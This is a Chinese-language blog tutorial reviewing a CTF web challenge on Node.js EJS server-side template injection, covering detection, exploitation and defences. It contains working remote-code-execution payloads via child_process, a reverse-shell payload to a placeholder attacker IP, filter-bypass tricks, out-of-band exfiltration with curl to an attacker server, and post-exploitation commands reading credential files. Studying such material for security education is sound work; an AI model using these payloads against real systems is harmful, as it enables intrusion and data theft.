Node.js SSTI漏洞实战:从原理到攻防的完整解析

发布时间:2026/9/14 11:47:29

Node.js SSTI漏洞实战:从原理到攻防的完整解析 1. 项目概述一次真实的攻防演练复盘前段时间我作为防守方复盘了一场以“振兴杯”为背景的网络安全技能竞赛中的Web渗透题目。这道题的核心是一个典型的SSTI服务器端模板注入漏洞靶场环境搭建在Node.js上。复盘下来整个过程非常经典几乎涵盖了从信息收集、漏洞发现、利用构造到最终获取权限的完整链条。对于想深入理解Web安全特别是Node.js环境下SSTI漏洞利用的朋友来说这是一个绝佳的实战案例。今天我就把这个“战例”拆开揉碎了结合我踩过的坑和总结的技巧分享给大家。无论你是刚入门的安全爱好者还是想巩固Node.js安全知识的开发者相信都能从中获得一些直接的启发和可复现的操作步骤。2. 核心漏洞原理SSTI在Node.js中的“生存土壤”在深入实战之前我们必须先搞清楚SSTI漏洞在Node.js里到底是怎么一回事。这决定了我们后续探测和利用的方向。2.1 什么是SSTI简单来说SSTI就是攻击者能够将恶意代码注入到服务器端的模板引擎中并使其被执行。模板引擎如Jinja2, Twig, EJS, Pug/Jade, Handlebars等本是为了方便开发者动态生成HTML页面而设计的。开发者会在模板中写入一些占位符变量或表达式服务器端用真实数据填充这些占位符最终渲染成完整的HTML返回给用户。漏洞产生的根本原因在于开发者错误地将用户输入直接拼接到了模板字符串中而不是作为纯粹的数据传递给模板。这就好比本来应该把用户给的“颜料”数据涂在画布模板的指定位置结果却把用户给的“画笔和颜料”包含指令的字符串当成了画布本身的一部分去执行。2.2 Node.js常见模板引擎与危险函数Node.js生态繁荣模板引擎众多每种引擎的语法和内置功能对象、方法不同这就导致了SSTI的利用方式千差万别。比赛中常见的几种有EJS (Embedded JavaScript)语法接近原生JS使用% %标签。如果用户输入被直接拼接到模板字符串中攻击者就可能闭合标签执行任意JS代码。Pug (原名Jade)使用缩进定义结构功能强大。其内置的全局对象和函数如global,process是攻击者垂涎的目标。Handlebars逻辑相对较弱强调“无逻辑模板”但早期版本或配置不当仍可能存在风险通常需要结合原型链污染进行利用。Nunjucks受Jinja2启发功能复杂提供了丰富的过滤器filter和全局函数攻击面较大。除了模板引擎本身Node.js中一些危险的全局对象和方法也是渗透的关键跳板global/GLOBALNode.js的全局命名空间对象所有全局变量除了global本身都是它的属性。如果能访问到它几乎就能访问一切。process提供与当前Node.js进程交互的对象。通过process.mainModule或require(child_process)可以执行系统命令是获取Shell的终极目标。constructorJavaScript中函数的构造器通过它可以访问Function构造函数用于动态创建和执行函数。__proto__或Object.getPrototypeOf()用于访问和操纵对象的原型链是进行原型链污染攻击的入口。注意在实际渗透测试或CTF中第一步往往就是通过报错信息、响应特征如特定HTML注释或模糊测试来判断目标使用的是哪种模板引擎。比如看到Internal server error中出现了at eval (eval at anonymous很可能就是EJS而看到Pug相关的路径或关键词则指向Pug引擎。3. 实战环境搭建与信息收集模拟为了复现和讲解我们假设一个简化的靶场环境。这里我用一个存在SSTI漏洞的Node.js Express EJS应用作为例子。3.1 漏洞代码示例假设服务器端app.js核心代码如下const express require(express); const app express(); app.set(view engine, ejs); // 使用EJS模板引擎 app.get(/greet, (req, res) { const name req.query.name || Guest; // 危险操作直接将用户输入的name拼接进模板字符串 const template h1Hello, ${name}!/h1pWelcome to our site./p; // 错误地使用ejs.render而不是res.render try { const html ejs.render(template, {}); res.send(html); } catch (err) { res.send(Error rendering template.); } }); app.listen(3000, () console.log(Server running on port 3000));这段代码的致命错误在于它没有使用Express框架推荐的res.render(view, data)方式这种方式会将数据安全地传递给独立的.ejs模板文件而是手动构造了一个模板字符串并调用了ejs.render()。用户控制的name参数被直接拼接进了这个字符串。3.2 信息收集与漏洞探测在实际攻击中我们可能只有一个URL。第一步就是信息收集。基础探测访问目标查看响应头、Cookie、HTML源码中是否有框架、引擎标识。例如Express默认的X-Powered-By头可能会暴露。参数模糊测试对每一个可能的输入点GET/POST参数、Cookie、Headers尝试注入特殊的模板语法。通用测试Payload{{7*7}}${7*7}% 7*7 %#{7*7}。不同引擎的语法不同需要逐一尝试。我们的靶场访问http://target.com:3000/greet?nameWorld返回正常。尝试http://target.com:3000/greet?name% 7*7 %。分析响应如果返回的页面中显示49而不是原始的% 7*7 %那么恭喜SSTI漏洞存在并且是EJS引擎。如果返回错误信息仔细阅读错误内容它常常会泄露引擎类型甚至部分代码栈。在我们的例子中输入% 7*7 %后页面显示Hello, 49!这确凿地证明了EJS模板注入漏洞的存在并且表达式被执行了。4. 漏洞利用链的深度构造确认漏洞后下一步就是构造利用链目标是执行任意代码或命令。在Node.js的沙盒环境下如果有或者直接在有global对象访问权限的情况下我们需要一步步“爬”到能执行命令的位置。4.1 从表达式执行到访问全局对象首先我们需要在模板表达式中执行JavaScript代码。在EJS中% %用于输出表达式结果而% %用于执行控制流代码但不直接输出。为了获取回显我们通常用% %。探测可用对象尝试输出全局对象。Payload:% global %如果页面返回了[object global]或类似信息说明global对象可访问。这是最理想的情况。如果global被过滤或无法访问我们需要利用JavaScript的原型链。在JS中对象的构造器constructor指向创建它的函数。而函数的constructor属性指向Function构造函数。我们可以从一个简单的对象比如空字符串{}空对象或者[]空数组开始沿着原型链向上找。经典Payload% .constructor %会输出[Function: String]。.constructor.constructor实际上会返回[Function: Function]即Function构造函数本身。4.2 构造命令执行函数有了Function构造函数我们就可以动态创建函数了。Function构造函数的最后一个参数是函数体字符串。创建执行系统命令的函数首先我们需要通过global.process.mainModule.require或类似路径引入Node.js核心模块child_process。但在EJS的模板上下文中require可能被禁用或不可直接访问。我们可以通过global.process.mainModule.require来绕开限制。构造Payload的思路// 伪代码逻辑 const func new Function(return global.process.mainModule.require(child_process))(); const execSync func().execSync; const result execSync(whoami).toString(); return result;将其转化为一行式注入Payload我们需要将所有逻辑压缩到一个EJS表达式里。这需要巧妙的拼接。最终Payload示例用于EJS% ((){ const cp global.process.mainModule.require(child_process); return cp.execSync(id).toString(); })() %这个Payload做了以下几件事使用立即执行的箭头函数((){ ... })()。在函数内部通过global.process.mainModule.require获取到child_process模块。调用该模块的execSync方法执行系统命令id。将命令执行的二进制输出转换为字符串并返回。最外层的% %将这个字符串输出到HTML页面上。实操心得在实际比赛中空格、引号、require等关键词经常被WAFWeb应用防火墙或简单的过滤器拦截。这时就需要用到各种绕过技巧字符串拼接child_processpro[concat](cess)。利用JS特性process[0]返回p可以拼出单词。使用反引号require(child_process)。编码Hex编码、Unicode编码等。利用其他全局对象路径除了global.process有时this.process、mainModule.constructor._load也可能成功。4.3 利用链的另一种路径原型链污染与结合利用在某些更严格的场景下直接访问global或process被禁止。这时可以考虑原型链污染作为前置攻击为SSTI创造条件。原理通过修改Object.prototype等基础原型对象的属性所有继承自该原型的对象都会受到影响。如果后续的模板渲染代码使用了被污染的属性就可能触发恶意代码执行。与SSTI结合先找到一个可以污染原型链的输入点例如合并对象时未对__proto__进行过滤将恶意函数“挂”到原型链上。然后在SSTI的触发点模板引擎访问某个对象的属性时会沿着原型链找到我们预先设置的恶意函数并执行。实战简化这通常需要两个步骤或两个漏洞点在CTF中常作为高难度题目出现。思路是“先污染后触发”。5. 完整的渗透过程实录与命令执行让我们回到最初的漏洞点实施一次完整的攻击。假设目标就是我们的示例靶场且没有任何过滤。5.1 步骤一确认漏洞与引擎访问http://localhost:3000/greet?name% 7*7 %响应Hello, 49!-确认EJS SSTI。5.2 步骤二探测可用对象与上下文访问http://localhost:3000/greet?name% JSON.stringify(Object.keys(global)) %这个Payload尝试列出global对象的所有属性名。如果成功返回的页面会包含一个巨大的JSON数组里面有processconsolerequire等关键字。这能帮助我们了解可用的“武器库”。5.3 步骤三构造并执行命令使用我们之前构造的Payload 访问http://localhost:3000/greet?name% ((){ const cp global.process.mainModule.require(child_process); return cp.execSync(ls -la /).toString(); })() %解释这个命令会列出根目录下的文件。如果成功页面上“Hello, ”后面将会显示Linux根目录的文件列表。5.4 步骤四获取反向Shell进阶在渗透测试中执行单条命令往往不够我们需要一个交互式的Shell。这可以通过反向Shell实现。在攻击机上监听在Kali或自己的VPS上执行nc -lvnp 4444监听4444端口。构造反向Shell Payload需要生成一个能连接到我们监听端口的命令。Node.js下可以使用child_process.spawn。Payload示例% ((){ const { spawn } global.process.mainModule.require(child_process); const sh spawn(/bin/sh, [-c, bash -i /dev/tcp/YOUR_ATTACK_IP/4444 01]); return Shell sent.; })() %将YOUR_ATTACK_IP替换为你的攻击机公网IP或内网IP。这个Payload会启动一个bash进程并将其标准输入输出重定向到TCP连接从而在我们监听端口上得到一个Shell。重要警告此操作仅限在授权测试的靶场或自己搭建的环境中进行。未经授权对他人系统实施是非法行为。5.5 步骤五权限维持与信息收集后渗透一旦获得Shell即使是低权限后续就是标准的后渗透流程查看当前用户whoamiid查看敏感文件/etc/passwd~/.bash_historyapp.js应用源码package.json依赖信息查找数据库凭证在源码、环境变量env、配置文件中搜索passwordsecretdatabase等关键词。尝试提权检查sudo -l SUID文件find / -perm -us -type f 2/dev/null内核漏洞等。6. 防御策略与安全开发建议作为开发者如何避免自己的Node.js应用成为别人的靶场呢6.1 根本方法避免不安全的模板渲染使用安全的渲染方式对于Express EJS永远使用res.render(template, data)让数据通过模板引擎的官方通道安全传递。绝对不要拼接用户输入到模板字符串这是万恶之源。任何用户输入在进入模板渲染前都应被视为纯数据。对动态模板名称进行严格过滤如果需要动态选择模板文件必须将用户输入限定在白名单内防止目录穿越../等攻击。6.2 缓解措施沙盒与隔离如果业务确实需要动态执行逻辑如CMS的自定义模板功能考虑使用严格的沙盒环境例如Node.js的vm2模块它提供了一个比原生vm模块更安全的沙盒环境可以限制访问requireprocess等危险对象。禁用危险原型属性在模板引擎的配置中禁用对__proto__constructorprototype等属性的访问。内容安全策略CSP虽然CSP主要防御XSS但也能增加攻击难度。6.3 安全开发习惯依赖项安全定期使用npm audit或yarn audit检查依赖漏洞及时更新。安全编码规范在团队中推行安全编码规范对用户输入进行严格的校验和过滤白名单优于黑名单。代码审计与渗透测试定期进行代码安全审计和模拟攻击测试主动发现潜在漏洞。7. 常见问题与排查技巧实录在实战和教学过程中我遇到了不少典型问题这里记录一下问题1Payload执行后无回显或者页面报错“require is not defined”。排查思路检查引擎确认模板引擎是否正确。用% 7*7 %再测一次。检查上下文可能模板运行在一个沙盒或受限上下文中global和require被移除了。尝试使用this或者从其他对象如arguments.callee.caller的上下文中寻找突破口。这在CTF中很常见。尝试其他命令执行方式如果不能require(child_process)可以尝试利用已有模块的功能比如通过fs模块写一个Webshell或者利用os模块执行命令如果版本允许。技巧使用一个简单的Payload测试命令执行和回显通道是否畅通% global.process.version %。如果能输出Node.js版本说明global.process可访问但require可能被限制。问题2特殊字符如空格、引号被过滤或转义。绕过技巧空格用%20/**/在JS中是多行注释但某些解析器会忽略或者使用${反引号}字符串模板如果支持。引号使用反引号或者用String.fromCharCode()函数构造字符。例如child_process可以写成child_process或String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)。括号某些过滤器只过滤成对的括号。可以尝试使用反引号调用函数如requirechild_process这相当于require(child_process)。问题3如何判断命令是否执行成功技巧对于无回显的“盲注”型SSTI可以采用外带技术OOB。DNS外带执行命令如ping -c 1 your-domain.com在你的DNS日志中查看是否有解析请求。HTTP外带使用curl或wget访问一个你控制的Web服务器将命令结果作为URL参数或子域名带出。例如curl http://your-server.com/$(whoami)。时间延迟通过执行sleep 5等命令观察响应时间是否延迟来判断命令是否执行。问题4在Docker或受限容器环境中很多命令没有。思路先探测环境执行which bashwhich shwhich python3which nc等看看有什么可用的解释器或工具。使用Node.js本身最可靠的方式就是利用Node.js来读写文件或发起网络请求。例如用fs模块读写文件用http/https模块发起请求外带数据。编写JS文件如果可以写文件可以尝试将一段复杂的JS后门代码写入/tmp目录然后用node执行它。复盘这道“振兴杯”的题目最大的收获不是那个Payload本身而是理解整个漏洞从产生、发现到利用的完整逻辑链条。Node.js的灵活性和强大的内置对象在开发者手中是利器在攻击者眼中就是跳板。防御的关键始终在于对“用户输入不可信”这一铁律的坚守以及安全编码习惯的养成。对于安全研究者而言掌握不同模板引擎的特性、熟悉JavaScript原型链和全局对象是挖掘和利用这类漏洞的基本功。下次当你看到% %或者{{ }}时不妨多思考一秒这里的变量真的只是数据吗
延伸阅读

更多相关文章

2026/9/14 16:16:59

全局快门摄像头实测:从原理到选型,深度解析动态范围与果冻效应

1. 项目概述与核心价值最近手头拿到了一款新的全局快门摄像头模块,趁着项目间隙,专门花时间做了一次从硬件接口到成像质量的完整测试。对于很多从事机器视觉、高速运动捕捉、工业检测或者AR/VR开发的工程师来说,选型一款合适的全局快门&#…

2026/9/10 5:07:06

C++ Lambda表达式:从函数对象到STL算法的轻量级匿名函数

1. 从“函数对象”到“就地匿名函数”:Lambda的诞生背景 在C11标准发布之前,如果你想在STL算法中传递一个自定义的比较逻辑或者操作,通常需要定义一个完整的函数,或者更常见的是,定义一个“函数对象”。函数对象&#…

2026/9/14 19:10:20

轻量免费的多任务定时助手:美明定时助手使用详解

你有没有算过,自己一天里到底需要多少个“准点触发”的事情?早上几点该打开工作群,下午几点要提醒自己交日报,晚上还有一档想追的节目更新。手机闹钟能响一下,但响完也就算了;在线日历能弹个提醒&#xff0…

2026/9/14 19:10:20

3/22打卡系统:提升团队效率的数字化管理方案

1. 项目概述:3/22打卡机制设计与实践最近在团队管理中发现一个有趣现象:当把每日工作目标拆解为可量化的打卡任务时,成员完成效率能提升40%以上。今天就以我们团队正在运行的"3/22打卡系统"为例,分享这套经过半年迭代验…

2026/9/14 19:10:20

Comsol岩石水力压裂模拟技术与工程应用解析

1. 岩石水力压裂模拟的核心价值与挑战在油气田开发和地热能利用领域,水力压裂技术就像一把"地质手术刀",通过高压流体在岩层中制造人工裂缝网络。Comsol Multiphysics作为多物理场耦合仿真利器,其岩石损伤模块能精准还原水压与地应…

2026/9/14 19:10:20

HyperWorks CAE仿真平台行业应用与优化实践

1. HyperWorks用户画像与行业分布解析作为Altair公司旗下的旗舰级CAE仿真平台,HyperWorks在工业设计领域已经形成了稳定的用户群体。根据我们团队对287家制造企业的调研数据,HyperWorks的核心用户主要分布在汽车(38%)、航空航天&a…

2026/9/14 19:05:20

陕西成人高考 2026:报名前一定要问机构的 7 个问题

直接答案:7 个问题——我的前置学历够报哪个层次?你们是什么身份?流程谁负责?钱交给谁?教务谁对接?学位怎么申请?你们不能做什么?这 7 问答得清楚,机构基本可以继续谈&am…

2026/9/14 2:17:50

拯救者Y7000黑屏故障排查与维修实战指南

1. 项目概述:一台黑屏的拯救者Y7000,到底卡在哪一步? 联想拯救者Y7000系列笔记本,从2018年第一代搭载i5-8300H开始,到后来的i7-9750H、i7-10750H、i5-11400H,再到2023年款的R7-7840HS,它始终是学…

2026/9/14 0:03:22

KCF目标跟踪算法与OTB工程实现:毕业设计实战解析

简介:这是一份基于KCF核相关滤波算法、融合尺度池与抗遮挡处理的目标检测跟踪MATLAB完整源码,主要面向计算机相关专业准备毕业设计、课程设计或期末大作业的学生,也适合需要项目实战练习的初学者。源码在OTB数据集上完成验证,能够…

2026/9/14 0:03:22

语音情感识别实战:Keras实现LSTM、CNN、SVM与MLP多模型对比

简介:面向语音情感识别入门与进阶开发者,这份基于Keras的项目源码完整实现了LSTM、CNN、SVM、MLP四种模型,兼容Python3.8与Keras/TensorFlow2环境。压缩包内含49个文件,大小约70.31MB,主体包括Python脚本、yaml/json配…

2026/9/14 11:59:31

USB Type-C PCB布局分区设计:电源、高速信号与PD协议全攻略

做硬件这行,Type-C接口算是典型的“看着简单,做起来全坑”的东西。光引脚就24个,高低速信号、电源、控制线全部塞在一个小小的连接器里,如果PCB布局不做规划,打样回来基本就是“插上没反应”、“高速掉线”、“静电一打…

2026/9/14 13:53:59

系统编程学习原型如何补齐稳定性边界

系统编程学习原型如何补齐稳定性边界预算有限时&#xff0c;我先优化明显多余的复制&#xff0c;而不是猜测性地换容器。用借用传递只读数据通常就能减少分配&#xff1a; fn parse(line: &str) -> Result<Item, Error> { /* ... */ }用基准确认热点确实在分配&am…

2026/9/14 11:22:57

雨花区哪家财务公司代理记账比较好?

在雨花区&#xff0c;企业处理财税事务常常面临诸多挑战&#xff0c;选择一家靠谱的财务公司至关重要。湖南巨勤财务管理咨询有限公司就是本地正规实体财税服务机构&#xff0c;深耕本地工商财税行业多年&#xff0c;熟悉当地工商局、税务局最新政策与申报流程。主营公司注册、…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
咨询二维码